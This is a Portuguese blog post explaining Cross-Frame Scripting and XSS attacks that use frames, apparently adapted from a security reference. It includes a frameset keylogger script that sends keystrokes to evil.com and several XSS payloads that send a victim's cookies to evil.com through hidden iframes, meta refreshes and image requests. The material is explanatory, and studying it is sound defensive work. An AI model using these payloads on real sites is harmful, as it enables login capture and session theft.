O Cross Frame Scripting

ASG voltou e ja preparou a braba para vocês.

Cross Frame Scripting

Descrição

Cross-Frame Scripting (XFS) é o ataque do lado do cliente com relação ao Cross-site Scripting (XSS). Em um ataque XFS, o invasor explora um bug cross-frame-scripting específico em um navegador da Web para acessar dados confidenciais em um site de terceiros. O atacante induz o usuário do navegador para navegar até uma página web controlado pelo invasor; a página do atacante carrega uma página de terceiros em um quadro HTML e, em seguida, executa um código javascript na página do atacante e rouba dados da página de terceiros.
XFS também é por vezes utilizado para descrever um ataque XSS que usa uma estrutura de HTML no ataque. Por exemplo, um invasor pode explorar a Cross Flaw Site Scripting para injetar um quadro em uma página da web de terceiros, ou que um atacante pode criar uma página que usa um quadro para carregar uma página de terceiros com uma falha de XSS.

Exemplos

XFS Ataque Contra IE (Internet Explorer)
Para explorar o bug do IE é necessário vazamentos de eventos do teclado através de conjuntos de quadros, um atacante pode criar uma página web em evil.com, que os controles de atacante, incluem-se na página evil.com e um quadro visível exibe a página de login para example.com. O atacante pode ocultar as bordas do quadro e ampliar o quadro para cobrir toda a página, de modo que ele olha para o usuário do navegador como ele ou ela está realmente visitar example.com O atacante registra alguns javascript na página evil.com que escuta todos os eventos-chave na página. Normalmente, este ouvinte iria ser notificado de eventos somente da página evil.com - mas por causa do bug do navegador, este ouvinte é notificado também de eventos da página em que example.com emoldurada. Assim, cada tecla faz com que o usuário do navegador no quadro example.com, ao tentar entrar em example.com, pode ser capturada pelo atacante, e comunicadas ao evil.com:


<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
        var xhr = newXHR();
        xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
        return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>


XSS ataque usando Frames ~
Para explorar a falha Cross Site Scripting em uma página da web de terceiros em exemplo.com, o atacante pode criar uma página web em evil.com, que os controles de atacante, e incluem um iframe escondido na página evil.com. O iframe carrega a página example.com falho, e injeta algum script para ele através da falha de XSS. Neste exemplo, a página example.com imprime o valor de "q" parâmetro de consulta da URL da página de conteúdo da página, sem fugir do valor. Isso permite que o invasor injetar um pouco de javascript na página que rouba example.com example.com cookies do navegador do usuário e envia o cookie através de uma solicitação falsa imagem de evil.com (src URL do iframe é enrolado para legibilidade):


<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>


O iframe está escondido fora da tela, de modo que o usuário do navegador não terá qualquer idéia de que ele ou ela tenha apenas "visitado" a página exemple.com. No entanto, este ataque é efectivamente o mesmo que um ataque XSS convencional, uma vez que o atacante pode simplesmente ter reencaminhado o utilizador directamente para a página example.com, usando uma variedade de métodos, incluindo um elemento meta como este (novamente, o URL do elemento meta é enrolado para legibilidade):


<meta http-eqiv="refresh" content="1;url=http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>">


A única diferença é que, ao usar um iframe, o atacante pode esconder o quadro off-screen - de modo que o usuário do navegador não terá qualquer idéia de que ele ou ela apenas "visitou" o examplo.com. Ao usar um redirecionamento para navegar diretamente para exemplo.com, o navegador irá exibir a url exemplo.com na barra de endereços do navegador, e a página exemplo.com na janela do navegador, de modo que o usuário do navegador estará ciente de que ele ou ela é visitante da exemplo.com.
Outro ataque XSS Usando Frames ~
Para explorar a mesma falha Cross Site Scripting que acima de exemplo.com (que imprime o valor de "q" parâmetro de consulta da URL da página de conteúdo da página sem escapar o valor), o atacante pode criar uma página web em evil.com , que os controles atacante, que inclui um link como o seguinte, e induzir o usuário a clicar no link. Este link injeta um iframe na página exemplo.com explorando a falha de XSS com o parâmetro "q" de consulta, o iframe é executado através de algum javascript para roubar a exemplo.com com cookies do navegador do usuário e envia-lo através de uma solicitação falsa de uma imagem na evil.com (a URL é enrolado para legibilidade):

http://example.com/flawed-page.html?=<iframe src="↵
    javascript:document.body.innerHTML=+'<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>


Mais uma vez, este ataque é efetivamente o mesmo que um ataque XSS convencional, o atacante simplesmente usa o atributo src do elemento iframe injetado como um veículo para executar um código javascript na página atacada.

Comentários

Postagens mais visitadas deste blog

explosões de pagers: análise de inteligência

megabits e megabytes

AS REAIS APIS DO HTML 5